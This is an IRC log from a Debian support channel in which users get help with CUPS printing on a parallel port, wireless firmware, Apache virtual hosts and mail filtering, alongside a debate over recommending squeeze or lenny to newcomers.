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15:27<jhutchins_lt>!reportbug
15:27<dpkg>used to submit bugs to the Debian <BTS>. Install reportbug, then run reportbug. Or on the web, http://www.debian.org/Bugs/, or see http://www.debian.org/releases/stable/i386/ch05s04#problem-report for some general information about using reportbug and/or for <debian-installer> bug reporting. Also ask me about <report-bugs>. http://wiki.debian.org/reportbug http://www.debian.org/Bugs/Reporting
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15:29<collette>jhutchins_lt I think I tried to log in as 'admin' instead of 'root' last time
15:29<jhutchins_lt>collette: log in to which?
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15:31<collette>when I was prompted for password in my last attempt to install HP 3150 on this machine I may have logged in as 'admin' instead of 'root' - bad habits die hard
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15:32<collette>but it is all wishful thinking because I am still getting no test page and the CUPS error still reads "CUPS-Add-Modify-Printer:Unauthorized"
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15:36<jhutchins_lt>collette: Did the browser cache your login?
15:37<jhutchins_lt>collette: Shut it down, restart it?
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15:38<collette>restarting browser...
15:38<Guest88>to get exim to use spamassassin, do I have to create a separate transport and router or just uncomment some config options? I found stuff online doing it both ways and not sure which to do
15:39<Xanbreon>anyone know what package the gnome panel clock is in..?
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15:40<jhutchins_lt>Guest1059: I use procmail, that way I get procmail features as well.
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15:43<NickW>i'm trying to set this up with exim4 and dovecot -- got that part working, now I'm trying to add spamassassin to put flagged spam into a user's .Spam directory
15:44<NickW>I'm finding different guides and forums that seem to approach things differently
15:44<NickW>(yes, I'm using Maildirs)
15:44<jhutchins_lt>NickW: Yes, and all of the guides seem to be missing one little piece of step to make it actually work.
15:44<jhutchins_lt>NickW: That, or they're written for sarge.
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15:45<NickW>well, if you've got the time, I could try and remember everything i've done in tryign to get this to work, undo it, and then let you show me what to do :)
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15:46<jhutchins_lt>Yeah, except I did postfix.
15:46<jhutchins_lt>(Sendmail before that)
15:46<NickW>ah
15:47<ex0>I want to install my TP-LINK TL-WN722N on squeeze.. how can I install the firmware ar9172.fw? I put it in /lib/firmware and reboot but doesnt recognize my device
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15:48<ex0>Im following this instructions: http://pastebin.com/i1tJ1rtM but I cannot compile the source of compat-wireless
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15:51<Xanbreon>Has anyone managed to get a nokia 5800 to sync its calendar with a linux machine? It looks like it might be doable with evolution, but I really dont like evolution... :[
15:52<Lethalman>Xanbreon, there's conduit, never used it
15:53<Xanbreon>Lethalman: ooo, looks promising
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15:53<Xanbreon>aww, only n800 it seems atm
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16:01<collette>I'm trying to set up a printer using CUPS. 3rd attempt to print test page seems to have failed
16:02<ironm>collette, it depends on you printer . if you have HP LaserJet you can try to chose generic Postscript printer .. it worked for me
16:02<collette>this time, I had to log in as user 'collette' to get the job sent, and the job disappeared/no print
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16:03<collette>do I set up a second printer ironw? delete and reset?
16:03<collette>I have an HP 3150
16:03<ironm>you can send a second printer ..
16:03<ironm>s/SEND/set/
16:04<ironm>it is laserJet as far as I can remember ...
16:04<collette>that's a little over my head, sorry
16:04<ironm>collette, is it a LaserJet? (your printer)
16:04<collette>yes, it's a laserjet
16:05<ironm>good ... so it has a postscript inside
16:05<collette>so use a postscript printer driver
16:05<ironm>do you want to use your printer in a local network or just using an USB port ?
16:05<collette>i'm using lpt port. That's the whole reason I've installed linux on this old box...
16:06<ironm>it also should work ..
16:06<collette>deleted printer/adding new...
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16:06<ironm>if the native driver for HP 3150 doesn't work you can choose the generic postscript driver
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16:07<ironm>yes .. e.g.
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16:07<felixs>collette: lprng and magicfilter might be worth a try. much simpler and more efficient than cups
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16:08<felixs>collette: install and run magicfilterconfig, then printing should just work...
16:10<ironm>felixs, I have used lprng on my debian live cds however I had difficulties to set the printer defined n /etc/printcap as a default printer for applications like firefox etc ...
16:10<ironm>probably I was missing some entries in one of config files somewhere
16:11<felixs>ironm: there was once a bug in gtk-2-lpr (or similar) which disabled printing to lpr from the graphical dialog....
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16:12<ironm>thank you for your hint felixs .. I have tried it about three weeks ago (debian sid)
16:13<acu>what timezone should I add for Midwest Twin/Cities Minnesota in php.ini ?
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16:16<felixs>ironm: theres nothing as simple as printing to lpr. if some ui doesnt manage, i'd call it a bug... :|
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16:22<ironm>felixs, I guess it was my foult ...
16:22<collette>ironrr, I'm adding HP 3150 back. I'm asked to pick device: should I use option 'HPLIP' or 'LPT1'?
16:23<ironm>lpt1 if you have parallel interface
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16:27<collette>LPT1 it is
16:28<ironm>yes
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16:28<collette>OKay. Selecting Make = HP
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16:29<ironm>collette, don't you have a generic printer selection possibility ?
16:29<collette>prompted to select driver. Ironrr suggests "postscript"
16:29<collette>oh, maybe
16:30<ironm>generic printer and then postscript ....
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16:30<collette>selected 'generic' printer (this is slow)
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16:31<collette>selected "generic postscript printer (en)"
16:31<ironm>and look for postscript now
16:31<ironm>good
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16:31<collette>I'm at a screen "set printer options" & don't want to change anything
16:31<collette>pushing random button
16:32<collette>printer is installed on parallel:/dev/lp0
16:32<collette>now for the money shot
16:32<collette>test page sent...
16:33<collette>...nothing.
16:33<ironm>strange
16:34<acu>how can I register with nickserv to enter freenode chat rooms? -
16:34<ironm>I hope you have connected the printer to LPT1 ;)
16:35<collette>the printer's connected to the LPT port.
16:35<ironm>acu, normally with: identify via /msg NickServ identify <password>.
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16:35<ironm> /msg NickServ identify <password>.
16:35<collette>when I check the cups error log there's a message ADD-modify-printer:unauthorized.
16:36<collette>I wasn't queried for pw when I added the printer..
16:36<ironm>I was asked for the root password during the cups printer installation .. (as far as I can remember)
16:37<ironm>I have been asked ... ;)
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16:39<collette>can I like, just log in as 'root'?
16:39<ironm>sure
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16:40<collette>because I've wasted my day trying to set up a printer
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16:42<acu>ironm how can I register the name (it tells me acu is not a registered name)
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16:43<collette>i cannot just log in as root. :(
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16:44<acu>I have virtualhost with apache2 in squeeze - I want to add more than one ServerAlias - how can I do it correctly ?
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16:48<Dauthiwarlord>Hello :)!
16:49<Dauthiwarlord>I have a question for you guys ...
16:49<retrospectacus>acu: just add ServerAlias lines in the VirtualHost section for the site
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16:49<Dauthiwarlord>I have an issue on a VAIO VGN-FZ190FE laptop .. and gpu crash graphics .. and I can't use all the power for complicated grafics
16:49<Dauthiwarlord>so I decided to use riplinux
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16:50<Dauthiwarlord>and works ok with LXDE graphs ...
16:50<Dauthiwarlord>and Install Fedora 14 with LXDE .. and works ok ...
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16:51<Dauthiwarlord>but I was asking about Debian ...
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16:51<Dauthiwarlord>have this option for graphics ?
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16:52<acu>retrospectacus, so I have to add One line Server Alias mycorporation.com and on another line
16:52<acu>ServerAlias admin.mycorporation.com ?
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16:54<Marsuvees>hello
16:54<acu> ehllo
16:54<Marsuvees>i have a question
16:54<retrospectacus>acu: yep. something like this: http://pastebin.com/3ug0ivK2
16:55<acu>Marsuvees: this is a technical support channel - just ask the questions -
16:55<Marsuvees>sorry
16:55<acu>Marsuvees, sorry is not a question :)
16:55<Marsuvees>how do i change my proxy settings to route all conncections through one server
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16:57<Dauthiwarlord>Lenny release version have support for LXDE graphic mode ? ... -.-"
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16:58<retrospectacus>Dauthiwarlord: no one has replied because your questions make no sense. Debian supports LXDE, if that is your question
16:58<Dauthiwarlord>kk :D
16:58<Dauthiwarlord>thnx
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16:59<f8l>Dauthiwarlord: There are even LXDE CDs but you don't need them if you already have Debian installed.
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17:01<retrospectacus>!tell Dauthiwarlord -about install lxde
17:01<Dauthiwarlord>Thnx both of you .. sorry about this misunderstanding ... :3
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17:01<Dauthiwarlord>well retro ... I have a gpu failure ..
17:01<acu>retrospectacus, thanks for help
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17:01<Dauthiwarlord>and I can't work with other kind of graphics ...
17:01<Dauthiwarlord>so .. installing with LXDE to watch monitor working on laptop ... is the only way :p
17:01<Dauthiwarlord>I've never used this distro before ...
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17:02<acu>retrospectacus - is looking from behind the glass?
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17:03<retrospectacus>Dauthiwarlord: I don't understand the problem
17:03<retrospectacus>you are installing debian on a laptop but the monitor is broken? You need to use an external monitor
17:03<retrospectacus>then what?
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17:10<jhutchins_lt>Dauthiwarlord: lxde is a desktop environment, it's not a graphics mode or driver.
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17:11<jhutchins_lt>Dauthiwarlord: xorg is the GUI, and you have to have that working for lxde or kde or gnome or whatever.
17:11<jhutchins_lt>Dauthiwarlord: You need to determine your grapics chipset, then see what it takes to get xorg working on that, then worry about the desktop environment.
17:11<vook>Dauthiwarlord: you probably have an Nvidia chipset - you can download the NVIDIA driver pack directly from nvidia.com
17:11<collette>I have a new install of debian 5. The login screen is at a resolution that is garbled. How can I set the default screen resolution lower? I figured out how to lower screen resolution once I've logged in, but not before.
17:12<vook>http://esupport.sony.com/LA/perl/swu-list.pl?mdl=VGNFZ190FE
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17:12<jhutchins_lt>!es
17:12<dpkg>Este canal es de soporte tecnico en Ingles para Debian. Si prefiere que el soporte sea en espanol, por favor ingrese a #debian-es con /join #debian-es tecleado en la linea de chat.
17:14<collette>jhutchins_lt what does "!es" mean?
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17:18<acu>collette: I have two sugestions for you - one if the system is for you install Debian Squeeze 6.0 (final release is soon) --- if you still want lenny - if I remember right is something dpkg-reconfigure xserver-xorg
17:18<vook>collette: There's a gdm configuration program somewhere....
17:19<jhutchins_lt>collette: That's what triggers the spanish factoid from the bot.
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17:19<jhutchins_lt>collette: I would not recommend debian squeeze. Although it works fairly well, it also breaks fairly regularly, sometimes so badly that you can't use it, and until you're more comfortable working with debian it's probably not a good idea.
17:20<jhutchins_lt>collette: Even if you do want to try it, I would recommend using it as a multi-boot option so you can drop back to lenny.
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17:20<collette>I downloaded magicfilterconfig. it is an easier way to install a printer but it didn't work. Uninstalled all printers/rebooting.
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17:20<jhutchins_lt>Your login manager has an rc configuration file that you can set the resolution in, this is /etc/kde/kdm/kdmrc for kdm.
17:20<acu>jhutchins_lt, when did you use Squeeze last ? - I have it installed in 5 computers and is very good and stable
17:21<jhutchins_lt>acu: Running it now.
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17:21<jhutchins_lt>Windows Media, MP3 and Real Audio don't currently work in iceweasel and there's no mplayer-plugin for it atm.
17:21<collette>Earlier today I was advised to check my CMOS options for LPT and if possible use ECP&EPP. I have an option of using either/or but not both
17:22<jhutchins_lt>collette: Ah, often you have the third option these days. Is it possible there's an update for your bios?
17:22<jhutchins_lt>collette: I'm a bit puzzled, other than having to manually install the parallel port driver I haven't had trouble with my Brother printer.
17:22<collette>so i'm using Xchat, and having difficulty finding the "Copy text" option.
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17:23<jhutchins_lt>acu: There are also recurring problems with Intel graphics.
17:23<vook>!irssi
17:23<dpkg>irssi is probably the best <IRC> client ever. "aptitude install irssi" and read http://www.irssi.org/documentation/startup . See also http://irssi.org/documentation/faq . http://www.irssi.org/ #irssi on open.ircnet.net and irc.freenode.net.
17:24<collette>I'll check update for bios after restarting and attempting to install printer yet again...
17:25<vook>to be super paranoid - create a user on your machine named after your nick - assign that user a directory with 0100 and leave the directory empty.
17:25<collette>thanks for advice on screen resolution/print setup...
17:25<acu>jhutchins_lt, as I said I run Debian Squeeze AMD64 on five desktops and a laptop - all AMD no intel - and debian squeeze ROCKS big time - lenny is stable but I would not recommend a new comer to install lenny since squeeze is around the corner and it is much modern and more smooth and easy to configure
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17:26<jhutchins_lt>acu: Please DON'T recommend squeeze to a newcomer who doesn't know debian configuration or package management unless YOU plan to be around full time to support them.
17:26<vook>then make irssi the shell, and su into your nick, and thus irssi
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17:26<jhutchins_lt>acu: Squeeze is NOT stable, it breaks and has critical problems.
17:26<jhutchins_lt>acu: It may work for you, that doesn't mean it doesn't have problems other people would need help to solve.
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17:26<And1>Hi folks. Why does sdb appear at first in 'cat /proc/partitions' and not sda? Any ideas for this strange behaviour?
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17:27<acu>jhutchins_lt it may be so, because you are saying it with too much passion :)
17:27<jhutchins_lt>acu: The only reason any newcomer should be running squeeze is if they need something like the newer version of xorg for video drivers.
17:27<bja>acu: For starters what works for you may not work for others
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17:27<jhutchins_lt>acu: If you can't fix a problem in lenny, you're not ready to run squeeze.
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17:27<bja>Testing is that until it gets released as stable. And the last stages can be very bumpy
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17:28<jhutchins_lt>acu: There are still critical bugs in the installer which is officially in beta-test.
17:28<vook>jhutchins_lt: testing is approaching stable - squeeze has been frozen if I recall correctly.
17:28<jhutchins_lt>True. It still breaks from week to week.
17:28<vook>for you
17:29<acu>bja and jhutchins_lt: lenny needs a lot of small configuration changes and workarounds to every small need - it has almost obsolete desktop applications - and a newcomer is usually not willing to spend time in configuring everything manually
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17:29<jhutchins_lt>vook: No, actually it works fine for me.
17:29<vook>then how does it break from week to week ?
17:29<jhutchins_lt>acu: Lenny is still more stable and has fewer s bugs.
17:29<acu>true
17:29<vook>of course
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17:30<jhutchins_lt>acu: If a user doesn't understand how to configure lenny, they're not going to know how to fix squeeze WHEN it breaks.
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17:31<jhutchins_lt>Lenny did fix a lot of problems that were in etch. squeeze isn't as big a jump, it really isn't the answer to most lenny problems.
17:31*bja has had squeeze brake on his laptop quite some times this last month
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17:31<jhutchins_lt>I've been pretty lucky so far, aside from having to rip out pulseaudio and the thing with the Windows media stuff it has been pretty smooth on this system.
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17:32<vook>version 4 to 5 to 6 isn't about lenny problems, its about the natural progression of Debian.
17:32<jhutchins_lt>My previous system had the G855 Intel problem, It got fixed but then the system died before the new intel problem came out.
17:32*bja had network manager utterly failed after two weeks of working
17:33<jhutchins_lt>bja: Yeah, I had a lot of trouble getting it working, but I can't say anything really changed, it just finally decided to cooperate.
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17:33<jhutchins_lt>bja: wicd couldn't even see my card though.
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17:33<jhutchins_lt>acu: These are the kind of things we're talking about. We'd really prefer you didn't recommend squeeze just because it's almost ready, It's not.
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17:35<jhutchins_lt>If collette comes back, have her try cat'ing text directly to the lpt device - that should work on an HP.
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17:35<jhutchins_lt>This could be a group/permissions problem too, cups should just work.
17:35<vook>jhutchins_lt: it depends entirely on the system's purpose. For a server - I'll always run stable. For a desktop or laptop, if I can get around, testing works fine - usually outperforming stable.
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17:36<jhutchins_lt>vook: That's great for you.
17:36<jhutchins_lt>vook: That's not something to recommend to a new user unfamiliar with debian.
17:36<jhutchins_lt>gyg, back later.
17:36<vook>fair enough - what we have here is a failure to communicate...hehe
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17:38<babilen>jhutchins_lt: I tried to discuss this given: http://lists.debian.org/debian-news/2010/msg00025.html and beg to differ
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17:40*themill was disappointed that call for testing failed to mention the lack of security support for squeeze
17:41*bja tatoos on jhutchins_lt forehead "Testing has no security updates"
17:41<babilen>yeah, which completely disqualifies this for servers/security sensitive production machines
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18:07<jhutchins_lt>babilen: I still think it's not a good idea for inexperienced users for their only possible desktop.
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18:08<jhutchins_lt>Uggh. Dealing with the windows terminals at the library the log in to the catalog system that's provided by somebody's brother-in-law.
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18:36<disinpho_>Hey, I wonder where it is most common to install an application intended to run as a web service
18:37<disinpho_>I mean, at what path
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18:38<disinpho_>I am going to install a vpn and a bnc, both multiuser
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18:44<ex0>I want to install my TP-LINK TL-WN722N on squeeze.. how can I install the firmware ar9172.fw? I put it in /lib/firmware and reboot but doesnt recognize my device
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18:46<devil>ex0: modprobe ar TAB?
18:46<ex0>devil: ah?
18:47<devil>what does it say?
18:47<devil>TAB is your tabkey
18:47<ex0>I know, but i dont understand S:
18:48<devil>?
18:48<ex0>devil: what do you want I do?
18:49<devil>ex0: write as root: modprobe ar, then hit Tab and enter
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18:49<ex0>devil: nothing happend
18:49<devil>ex0: thats good.
18:49<devil>nothing= your prompt is back?
18:50<ex0>devil: I it tab 5 times and it ask me: Display all 2307 possibilities? (y or n)
18:50<devil>not good
18:51<devil>i dont know that chipset
18:51<ex0>do you want "lsusb" output?
18:52<ex0>I found a firmware and put it in /lib/firmware but after reboot It doesnt recognize the device
18:52<devil>ex0: let me google it
18:53<ex0>ok, is a TL-WN722N chipset ath9k_thc
18:53<ex0>my linux-image is 2.6.32-5-686
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18:54*qalbi wah uda 1jam an translit.. file na trnyata blm d sync =)
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18:54<devil>ex0: try: modeprobe ath TAB
18:54<ex0>devil: modprobe ath ENTER / TAB ?
18:54<devil>no
18:55<ex0>nothing happend
18:55<devil>modprobe ath TAB TAB enter
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18:56<devil>does it show any ath options after TABTAB
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18:57<ex0>devil: no .. and sound as error
18:57<devil>sound?
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18:57<ex0>devil: ashh.. bad english .. eem
18:57<devil>is there an error?
18:57<ex0>devil: sound error
18:58<ex0>devil: I cant explain it
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18:58<devil>ex0: look at: http://wiki.debian.org/ath9k under squeeze
18:59<ex0>devil: its ath9k, not ath9k_htc ..
18:59<devil>install wireless-tools. you need no extra firmware for squeeze
18:59<ex0>devil: isnt the same
19:00<devil>i know
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19:13<ex0>devil: hey hey!
19:13<ex0>devil: I try "modprobe ath9k_thc" and doesnt give me any error ..
19:13<devil>thats good
19:13<ex0>devil: how can I set up my device with this driver?
19:14<devil>did you read my link?
19:14<ex0>devil: not at all
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19:15<ex0>devil: I dont see my device with "iwconfig"
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19:15<ex0>devil: isnt "mounted"
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19:16<devil>then ath9k_thc is probably the wrong driver.
19:16<devil>google says its plain ath9k
19:16<devil>bedtime. gnite
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19:17<ex0>good night..
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20:11<I_Died_Once>Hi, I managed to mess up my fstab... is there a way to generate a new one with the UUID's of my hard drives?
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20:15<I_Died_Once>using debian squeeze.. installed an extra drive and things are screwed...
20:15<I_Died_Once>lucky me
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20:58<fabiim>Hi , I stupidly screw up my debian lenny , and installed debian squeeze leaving the /home partition intact . I stupidly forge to specify to use it as /home in the install process. I wanted to know if there will be some problem specifying to mount it as /home in fstab now .
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21:26<Hellothisiskev>Hello
21:27<Hellothisiskev>Can you help me with Linux Mint Debian?
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21:27<gsimmons>dpkg: lmde
21:27<dpkg>Linux Mint is a distribution based on <Ubuntu>, which also has a "Linux Mint Debian Edition" (LMDE) available, based on <testing>. Neither is supported in #debian. Please use their forums at http://forums.linuxmint.com/ or join #linuxmint-help on irc.spotchat.org for support. See also <based on Debian>.
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22:45<EmleyMoor>I'm looking for a video capture device that doesn't have significant delay. My old TV card is fine apart from the fact that the sync goes nuts occasionally, but an EasyCap DC60 lags behind by about three seconds. I am looking towards USB or more likely PCI Express
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22:47<home>lxde is such a troll..
22:47<nasuta-work>good question
22:47<home>hi fellow debian users
22:47<home>I am new to using debian :).. and to the linux community
22:47<nasuta-work>welcome home
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22:48<home>natsuta-work: thank you.. I tend to roam the ubuntu and debian channels :/
22:48<Nemoder>EmleyMoor: my old hauppauge 150 worked pretty well
22:48<home>I tend to enjoy ubuntu and debian alot
22:48<home>especially backtrack <3 since I am a script kiddy :)
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22:48<nasuta-work>ubuntu and debian are different things
22:48<home>I hope everyone here is nice :D, I got tons of questions
22:49<home>nasuta-work .. yes I know lol
22:49<EmleyMoor>Nemoder: Will keep an eye open for one...
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22:49<home>right now.. I just want to run my own server... but kinda messed it up by installing x :p
22:49<home>I have one heck of a messed up system
22:50<Nemoder>backup and reinstall
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22:50<home>lol.. maybe
22:51<home>gotta try the network install.. want to get use to not needing an x server all the time
22:51<Nemoder>and never install things as root without using package manager
22:51<home>mind you.. I am just 15 years old :/
22:51<nasuta-work>in the beginning a system live 2-3days, in my case :-D
22:52<Nemoder>being young just means you have more free time to learn :)
22:52<astronut>nasuta-work: my first system lasted about 3 years i think - then i overwrote it with debian, and now it's lasted 7 or so more
22:52<home>Started using linux for the last 2 years.. I believe
22:53<nasuta-work>no, i am at work and time enough for nerd-stuff
22:53<home>Gotta fix my other computer first though
22:53<home>it seems that the memory is bad..
22:53<home>3 modules
22:53<home>hopefully I can find the good one :/
22:53<home>Would like to fix that system..
22:53<home>has win 7 on it :*(
22:54<home>not sure if to remove it :/
22:54<astronut>hmm, 7 might be wrong
22:54<home>or just dual boot
22:54<home>I have problems with windose
22:54<home>the linux community has been making great progress
22:55<astronut>looks like that box was installed 2006-08-13
22:55<home>cant wait till kernel 2.6.37..
22:55<home>I really want to know how that 200 line patch is gonna chance things
22:55<home>I hope I am not spamming :/
22:56<Vincent_C>Have you tried the Liquorix kernel yet? I think damentz has added that specific kernel patch to his Liquorix kernel...
22:56<nasuta-work>home, you can test the 37-rc
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22:56<home>natsuta-work: I am not really sure how to install the kernel
22:56<home>I know that there is .deb for it.. But I am really new to the game
22:56<home>so.. how do I test it?
22:57<home>also gallium-3d <3 = love
22:57<nasuta-work>you build your own deb-paket
22:59<EmleyMoor>You can use make-kpkg to package a kernel
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22:59<nasuta-work>its not really hard , home
23:00<nasuta-work>read and try
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23:02<home>ah looking up on documentation.. sure..
23:02<home>but gotta do homework.. lol
23:02<nasuta-work>coffee-break, bye
23:03<home>anyone here have any experience with robotics?
23:03<home>especially the programmign aspect?
23:03<home>programming*
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23:06<edbian>My evolution time stamps mail in 24 hour format. Any idea how to change this to 12 hr format?
23:07<home>same... my lxde time.. is set to 24 hour format also :/
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23:08<home>debian is so fast <3
23:08<astronut>home: me
23:09<home>astronaut?
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23:09<astronut>nut
23:11<home>? what :/
23:11<astronut>i'm astroNUT - and i have done programming for robotics
23:11<home>wow thats cool
23:11<home>I am from a rookie team.. totally new
23:11<astronut>doing what?
23:12<home>well.. mechanical and programming
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23:12<home>the robot :/
23:12<home>its for first robotics..
23:14<astronut>ah, first
23:14<astronut>i was on CUAUV
23:14<astronut>www.cuauv.org
23:15<astronut>robotic submarine
23:15<EmleyMoor>I'm going to buy a hybrid TV card but it won't work in Linux for anything but digital just yet
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23:15<home>wow is that for engineering? how fun
23:16<xjjk>hello, does anyone else use mirrors.kernel.org as a Debian mirror, and are getting the "Release file expired" error?
23:16<astronut>extracurricular in college
23:16<home>ah cool
23:16<home>I am really new to the programming language :/ gotta learn C+= *sigh*
23:17<xjjk>mirrors.kernel.org was going through some upgrades, but when I look at the debian/ directory it *looks* ok?
23:17<home>at this point I am hunting for an IDE
23:17<EmleyMoor>When the sync goes on my TV card, there are lots of errors going into dmesg: http://paste.debian.net/100513/ - is it a faulty card?
23:17<xjjk>home: if you're looking to get a C++ job, eclipse-cdt isn't a bad bet
23:18*astronut writes C++ primarily in vim
23:18<home>xjjk: Funny.. I just installed that on my lappy...
23:18<home>and here I thought I had bad judgement..
23:18<home>now i got 2 ide.. eclipse for java programmers and C/C++... :*(
23:18<home>too bad its on windose..
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23:19<home>so go with MingW or Cygin?
23:19<home>really new with the compiler
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23:23<home>abnywyas..
23:23<home>good bye :D
23:23<home>toll out
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23:23<gsimmons>xjjk: (re mirrors.kernel.org) Known issue, reported on the debian-mirrors mailing list.
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23:24<xjjk>gsimmons: ah, thanks
23:24<xjjk>I checked earlier today there, hadn't found anything
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23:37<john>Hi, I have a non-debian specific question: how does one comment out lines in a bash script in emacs?
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23:44<blarson>john: add # as the first character
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23:51<Ashokkumarj> hi i implemented the selinux for debian system. i would like to know how this selinux blocking the certain content.
23:51<Ashokkumarj>is it possible to implement in server
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23:53<amakusa>hello all, I'm trying to make a screencast with recordmydesktop, it records and all but the playback is too fast and it cuts out before the end, anyone know what to do?
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23:56<john>blarson, thanks but I want to do it for multiple lines, just like C-c C-c for C-files
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